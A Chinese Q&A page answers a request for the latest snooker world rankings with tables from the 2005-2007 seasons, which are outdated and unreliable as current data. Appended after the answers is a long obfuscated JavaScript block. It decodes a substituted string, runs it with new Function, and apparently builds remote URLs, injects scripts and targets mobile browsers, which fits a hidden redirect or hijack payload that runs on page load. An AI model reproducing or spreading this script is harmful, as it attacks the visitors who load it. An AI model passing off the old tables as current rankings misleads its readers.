目前最新的斯诺克世界排名1-50位?

2025-03-04 19:10:25
推荐回答(3个)
回答1:

2006/2007斯诺克赛季英国锦标赛北京时间前天凌晨结束,世界职业斯诺克联合会昨天公布了球手们最新的世界排名,我国台球神童丁俊晖卫冕失败,在四分之一决赛中不敌艾伯顿,虽然获得3750分的积分,但是仍旧被对手超越。艾伯顿依靠着7500分的冠军积分,以25150分力压丁俊晖升至第四,丁俊晖以24625分降至第五。

1998年世锦赛冠军得主约翰·希金斯以28350分跃升至榜首,闯入英锦赛半决赛令其拿到4800分。1997年世锦赛冠军、爱尔兰名将肯·达赫迪以27500分退居次席,2006年世锦赛冠军格雷姆·多特26975分列第三。五次英锦赛冠军、七次世锦赛冠军、台球皇帝亨德利状态回升,虽然未能六度称王英锦赛,但是亚军的成绩足以令他以23575分重回前十排名第七,列八到十位的分别是罗尼·奥沙利文、斯蒂芬·李和肖恩·墨菲,澳大利亚新星、大奖赛冠军内尔·罗宾逊跌出前十排第十一位。

最新斯诺克世界排名(截止英国锦标赛结束)

北爱尔兰杯 黑球挑战赛 大奖赛 英国锦标赛 联盟杯
R S 一年 中文名 总成绩 2005/2006 2006/2007 积分 奖金 积分 奖金 积分 奖金 积分 奖金 积分 奖金 总奖金 奖金排名
1 4 4 约翰-希金斯 28,350 19,150 9200 1900 4000 0 6000 2500 11000 4800 20300 0 41300 11
2 2 9 肯-达赫迪 27,500 20,250 7250 2500 5600 0 4000 1900 7000 2850 11750 0 14000 42350 10
3 6 8 格雷姆-多特 26,975 19,100 7875 2500 5600 0 3500 575 4750 4800 20300 0 31500 65650 5
4 7 3 彼得-艾布顿 25,150 15,550 9600 700 2500 0 4000 1400 5225 7500 77000 0 88725 2
5 27 2 丁俊晖 24,625 14,475 10150 5000 30000 0 1400 5000 3750 15800 0 24000 74800 3
6 1 5 斯蒂芬-亨得利 23,575 15,100 8475 1900 4000 0 3500 575 4500 6000 37000 0 15000 64000 6
7 3 1 罗尼-奥沙利文 23,100 12,850 10250 4000 17000 0 2500 11000 3750 15800 0 79000 122800 1
8 8 23 马克-威廉姆斯 23,050 18,300 4750 1900 4000 0 12000 0 0 2850 11750 0 27750 14
9 10 6 斯蒂芬-李 21,450 13,500 7950 3200 7500 0 1900 7000 2850 11750 0 26250 15
10 5 21 肖恩-莫菲 21,300 16,350 4950 2500 5600 0 3500 1400 5225 1050 8000 0 22325 18
11 13 6 尼尔-罗伯逊 20,525 12,575 7950 1900 4000 0 5000 60000 1050 8000 0 72000 4
12 11 17 史蒂夫-戴维斯 18,950 13,100 5850 700 2500 0 1400 5000 3750 15800 0 31500 54800 8
13 18 10 乔-佩里 18,575 11,750 6825 575 1625 0 2500 11000 3750 15800 0 28425 12
14 12 41 巴里-霍金斯 17,750 14,600 3150 700 2500 0 1400 5000 1050 8000 0 15500 27
15 9 15 斯蒂芬-梅格尔 17,150 11,000 6150 1900 4000 0 1400 5225 2850 11750 0 20975 19
16 29 11 马克-金 16,800 10,100 6700 1400 2500 0 3200 15000 2100 8000 0 25500 17
17 30 27 乔-斯威尔 16,675 12,600 4075 575 1625 0 1400 5225 2100 8000 0 14850 29
18 17 14 瑞恩-德伊 16,550 10,050 6500 2500 5600 0 1900 7000 2100 8000 0 20600 20
19 24 29 斯图亚特-宾汉姆 16,300 12,300 4000 575 1625 0 575 4750 2850 11750 0 18125 22
20 48 19 詹米-柯普 15,500 10,375 5125 450 1100 0 4000 54000 675 2200 0 57300 7
21 14 12 马修-史蒂文斯 15,250 8,600 6650 1900 4000 0 3500 1900 7000 2850 11750 0 26250 15
22 28 16 马克-塞尔比 15,025 9,125 5900 1900 4000 0 1900 7000 2100 8000 0 19000 21
23 23 24 大卫-格雷 14,288 9,713 4575 575 1625 0 1900 7000 2100 8000 0 16625 26
24 21 51 迈克尔-霍特 14,113 11,275 2838 575 1625 0 1400 5225 863 4500 0 11350 37
25 20 35 奈杰尔-邦德 14,013 10,350 3663 1400 2500 0 1400 5000 863 4500 0 12000 34
26 39 18 杰勒德-格林 14,000 8,600 5400 1900 4000 0 1400 5000 2100 8000 0 17000 24
27 25 51 詹姆士-瓦塔纳 13,988 11,150 2838 1400 2500 0 575 4500 863 4500 0 11500 35
28 40 20 多米尼克-戴尔 13,725 8,700 5025 3200 7500 0 1150 4750 675 2200 0 14450 30
29 36 37 戴夫-哈罗德 13,075 9,625 3450 450 1100 0 900 3000 2100 8000 0 12100 32
30 19 13 艾伦-迈克麦纳斯 12,825 6,200 6625 575 1625 0 3200 15000 2850 11750 0 28375 13
31 15 41 阿里斯特-卡特 12,700 9,550 3150 700 2500 0 1400 5000 1050 8000 0 15500 27
32 22 86 傅家俊 12,650 11,500 1150 575 1625 0 575 4750 0 0 0 6375 54
33 26 22 伊恩-迈克罗克 11,951 7,188 4763 1400 2500 0 2500 11000 863 4500 0 18000 23
34 62 36 马克-艾伦 11,900 8,250 3650 1150 1625 0 1150 4500 1350 2200 0 8325 50
35 37 37 里基-沃顿 11,675 8,225 3450 450 1100 0 900 3000 2100 8000 0 12100 32
36 16 69 安东尼-汉密尔顿 11,551 9,413 2138 700 2500 0 575 4500 863 4500 0 11500 35
37 44 28 迈克尔-乔治 11,500 7,475 4025 1150 1625 0 1150 4500 1725 4500 0 10625 41
38 51 24 罗宾-赫尔 10,913 6,338 4575 325 0 0 1400 5225 2850 11750 0 16975 25
39 53 61 斯图亚特-佩特曼 10,513 7,975 2538 1400 2500 0 650 500 488 0 0 3000 71
40 32 26 罗伯特-米尔金斯 10,501 6,338 4163 1400 2500 0 1900 7000 863 4500 0 14000 31
41 38 71 马克-戴维斯 10,425 8,400 2025 450 1100 0 900 3000 675 2200 0 6300 55
42 57 47 大卫-路 10,413 7,375 3038 1400 2500 0 1150 4500 488 0 0 7000 52
43 59 31 安德鲁-诺曼 10,388 6,600 3788 1400 2500 0 1900 7000 488 0 0 9500 43
43 33 53 巴里-平治 10,388 7,563 2825 450 1100 0 650 500 1725 4500 0 6100 56
45 47 30 罗德-罗拉 9,750 5,850 3900 1150 1625 0 650 500 2100 8000 0 10125 42
45 41 44 艾德里安-詹尼尔 9,750 6,675 3075 450 1100 0 900 3000 1725 4500 0 8600 45
47 43 44 约翰-帕洛特 9,738 6,663 3075 450 1100 0 900 3000 1725 4500 0 8600 45
48 46 62 弗盖里-奥布赖恩 9,650 7,125 2525 450 1100 0 1400 5225 675 2200 0 8525 48
49 31 73 安迪-希克斯 9,626 7,613 2013 575 1625 0 575 4750 863 4500 0 10875 38
50 50 32 罗瑞-迈克罗德 9,600 5,825 3775 1150 1625 0 900 3000 1725 4500 0 9125 44
51 60 44 斯科特-麦肯奇 9,125 6,050 3075 325 0 0 650 500 2100 8000 0 8500 49
52 54 33 迈克-达恩 8,938 5,238 3700 1400 2500 0 200 250 2100 8000 0 10750 39
53 67 49 大卫-吉尔伯特 8,875 5,975 2900 900 1100 0 650 500 1350 2200 0 3800 69
54 55 33 詹米-伯内特 8,825 5,125 3700 1400 2500 0 200 250 2100 8000 0 10750 39
54 45 62 汤姆-福德 8,825 6,300 2525 450 1100 0 1400 5000 675 2200 0 8300 51
56 35 71 吉米-怀特 8,475 6,450 2025 450 1100 0 900 3000 675 2200 0 44000 50300 9
57 74 39 贾德-特鲁姆普 8,200 4,800 3400 900 1100 0 1150 4750 1350 2700 0 8550 47
58 42 84 朱-亨利 8,150 6,825 1325 450 1100 0 200 250 675 2200 0 3550 70
59 49 53 马库斯-坎贝尔 8,025 5,200 2825 450 1100 0 650 500 1725 4500 0 6100 56
60 61 39 吉米-米奇 7,813 4,413 3400 1150 1625 0 900 3000 1350 2200 0 6825 53
61 64 53 乔-德莱尼 7,800 4,975 2825 900 1100 0 200 250 1725 4500 0 5850 58
62 58 67 保罗-戴维斯 7,788 5,500 2288 1150 1625 0 650 500 488 0 0 2125 77
63 52 41 托尼-德拉高 7,675 4,525 3150 1150 1625 0 650 500 1350 2200 0 4325 68
64 70 70 马修-科奇 7,625 5,525 2100 1150 1625 0 650 500 300 0 0 2125 77
65 72 74 李-斯皮克 7,300 5,450 1850 650 0 0 900 3000 300 0 0 3000 71
66 77 48 梁文博 7,150 4,125 3025 650 0 0 1400 5000 975 0 0 5000 63
67 - 56 本-伍拉斯通 6,875 4100 2775 650 0 0 1150 4750 975 0 0 4750 64
67 - 56 詹米-琼斯 6,875 4100 2775 650 0 0 1150 4750 975 0 0 4750 64
69 - 58 刘崧 6,675 4100 2575 650 0 0 200 250 1725 4500 0 4750 64
69 - 58 田鹏飞 6,675 4100 2575 1400 2500 0 200 250 975 0 0 2750 76
69 - 58 伊萨拉-卡差旺 6,675 4100 2575 200 1000 0 1400 5225 975 0 0 6225 53
72 65 49 西恩-斯多瑞 6,600 3,700 2900 650 0 0 900 3000 1350 2200 0 5200 59
73 - 64 彼得-赖恩斯 6,550 4100 2450 200 0 0 900 3000 1350 2200 0 5200 59
73 - 64 伊恩-普里斯 6,550 4100 2450 200 0 0 900 3000 1350 2200 0 5200 59
73 - 64 大卫-莫里斯 6,550 4100 2450 200 0 0 900 3000 1350 2200 0 5200 59
76 75 74 克里斯托弗-诺布里 6,513 4,663 1850 650 0 0 900 3000 300 0 0 3000 71
77 - 68 安德鲁-希金森 6,375 4100 2275 650 0 0 650 500 975 0 0 500 80
78 63 92 沙黎士-乔治亚 6,063 5,050 1013 325 0 0 200 250 488 0 0 250 84
79 - 74 德莫特-迈克格林彻 5,950 4100 1850 900 1100 0 650 500 300 0 0 1600 79
79 - 74 克里斯托弗-梅林 5,950 4100 1850 650 0 0 900 3000 300 0 0 3000 71
81 - 78 詹姆士-莱德贝特 5,925 4100 1825 200 0 0 650 500 975 0 0 500 80
82 56 79 苏克-阿里 5,801 4,088 1713 325 0 0 900 3000 488 0 0 3000 71
83 - 80 保罗-戴维森 5,750 4100 1650 200 0 0 1150 4500 300 0 0 4500 67
84 66 81 阿尔弗雷德-伯顿 5,700 4,100 1600 650 0 0 650 500 300 0 0 500 80
85 - 82 杰夫-坎迪 5,475 4100 1375 200 0 0 200 250 975 0 0 250 84
85 - 82 帕萨科恩-苏旺纳瓦特 5,475 4100 1375 200 0 0 200 250 975 0 0 250 84
87 - 85 德尼-奥卡恩 5,275 4100 1175 0 0 0 200 250 975 0 0 250 84
88 - 86 罗伯特-斯蒂芬 5,250 4100 1150 200 0 0 650 500 300 0 0 500 80
88 - 86 马克-乔伊斯 5,250 4100 1150 650 0 0 200 250 300 0 0 250 84
88 - 86 李-佩奇 5,250 4100 1150 650 0 0 200 250 300 0 0 250 84
88 - 86 帕特里克-恩塞尔 5,250 4100 1150 200 0 0 650 500 300 0 0 500 79
88 - 86 默罕迈德-塞哈比 5,250 4100 1150 200 0 0 650 500 300 0 0 500 78
93 - 93 罗伊-斯托尔克 4,800 4100 700 200 0 0 200 250 300 0 0 250 84
93 - 93 马克-博伊勒 4,800 4100 700 200 0 0 200 250 300 0 0 250 84
95 69 96 保罗-维克斯 4,750 4,250 500 0 0 0 200 250 300 0 0 250 84
96 81 93 亚历克斯-博格 4,700 4,000 700 200 0 0 200 250 300 0 0 250 84

那2个不清楚排名多少。

回答2:

赛季积分

1 2 斯蒂芬-亨得利(Stephen Hendry) 31,837 21,337 10,500

2 1 罗尼-奥沙利文(Ronnie O'Sullivan) 28,212 23,162 5,050

3 7 约翰-希金斯(John Higgins) 27,662 15,812 11,850

4 6 肯-达赫蒂(Ken Doherty) 26,037 15,887 10,150

5 3 斯蒂芬-马奎尔(Stephen Maguire) 25,525 19,725 5,800

6 8 史蒂夫-戴维斯(Steve Davis) 24,375 15,775 8,600

7 4 肖恩-墨菲(Shaun Murphy) 23,025 16,375 6,650

回答3:

选手 临时积分 2004/05上赛季积分 2005/06本赛季积分

1 2 斯蒂芬-亨得利(Stephen Hendry) 31,837 21,337 10,500

2 1 罗尼-奥沙利文(Ronnie O'Sullivan) 28,212 23,162 5,050

3 7 约翰-希金斯(John Higgins) 27,662 15,812 11,850

4 6 肯-达赫蒂(Ken Doherty) 26,037 15,887 10,150

5 3 斯蒂芬-马奎尔(Stephen Maguire) 25,525 19,725 5,800

6 8 史蒂夫-戴维斯(Steve Davis) 24,375 15,775 8,600

7 4 肖恩-墨菲(Shaun Murphy) 23,025 16,375 6,650

8 9 彼得-艾布顿(Peter Ebdon) 20,600 15,650 4,950

9 18 巴里-霍金斯(Barry Hawkinsn) 20,425 13,225 7,200

10 13 尼尔-罗伯逊(Neil Robertson) 20,025 14,425 5,600

11 15 阿里斯特-卡特(Allister Carter) 19,775 14,175 5,600

12 5 阿兰-迈克马努斯(Alan McManus) 19,375 15,975 3,400

13 22 马克-威廉姆斯(Mark Williams) 18,637 12,837 5,800

14 29 乔-佩里(Joe Perry) 18,400 11,250 7,150

15 17 格雷姆-多特(Graeme Dott) 18,200 13,500 4,700

16 24 巴里-皮奇思(Barry Pinches) 17,963 12,700 5,263

17 10 斯蒂芬-李(Stephen Lee) 17,825 15,625 2,200

18 40 斯图亚特-宾汉姆(Stuart Bingham) 17,625 9,475 8,150

19 12 艾伦-迈克库洛奇(Ian McCulloch) 17,500 14,537 2,963

20 11 马修-斯蒂文斯(Matthew Stevens) 17,462 15,262 2,200

21 30 马克-金(Mark King) 17,225 11,075 6,150

22 19 保罗-亨特(Paul Hunter) 17,200 13,200 4,000

23 14 安东尼-汉米尔顿(Anthony Hamilton) 17,150 14,312 2,838

24 28 奈杰尔-邦德(Nigel Bond) 17,125 11,725 5,400

25 16 罗伯特-米尔金斯(Robert Milkins) 16,713 14,000 2,713

26 23 吉米-怀特(Jimmy White) 16,437 12,787 3,650

27 20 赖安-达(Ryan Day) 16,225 13,025 3,200

28 26 大卫-格雷(David Gray) 16,038 12,100 3,938

29 31 迈克尔-霍尔特(Michael Holt) 15,837 10,662 5,175

30 21 安蒂-希科斯(Andy Hicks) 15,763 12,925 2,838

31 56 丁俊晖(Ding Junhui) 15,300 7,225 8,075

32 39 杰勒德-格林(Gerard Greene) 14,887 9,487 5,400

33 47 多米尼克-戴尔(Dominic Dale) 14,775 8,575 6,200

34 32 詹姆斯-瓦特那(James Wattana) 14,525 10,575 3,950

35 35 里基-沃尔顿(Ricky Walden) 14,450 10,175 4,275

36 33 傅家俊(Marco Fu) 14,362 10,412 3,950

37 25 马克-塞尔比(Mark Selby) 14,350 12,325 2,025

38 37 马克-戴维斯(Mark Davis) 14,225 9,975 4,250

39 50 乔-思威尔(Joe Swail) 13,537 8,137 5,400

40 41 大卫-哈罗德(Dave Harold) 13,350 9,075 4,275

41 27 奎恩特-汉恩(Quinten Hann) 13,263 11,950 1,313

42 36 乔-亨利(Drew Henry) 13,187 10,062 3,125

43 34 艾得里安-加诺(Adrian Gunnell) 12,750 10,225 2,525

44 48 迈克尔-加杰(Michael Judge) 12,550 8,275 4,275

45 38 约翰-帕洛特(John Parrott) 12,363 9,650 2,713

46 48 罗里-迈克雷欧德(Rory McLeod) 11,850 8,275 3,575

47 46 罗德-罗尔(Rod Lawler) 11,775 8,625 3,150

48 43 托尼-德拉高(Tony Drago) 11,737 9,012 2,725

49 42 汤姆-福德(Tom Ford) 11,725 9,025 2,700

50 44 马库斯-坎贝尔(Marcus Campbell) 11,700 8,950 2,750

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();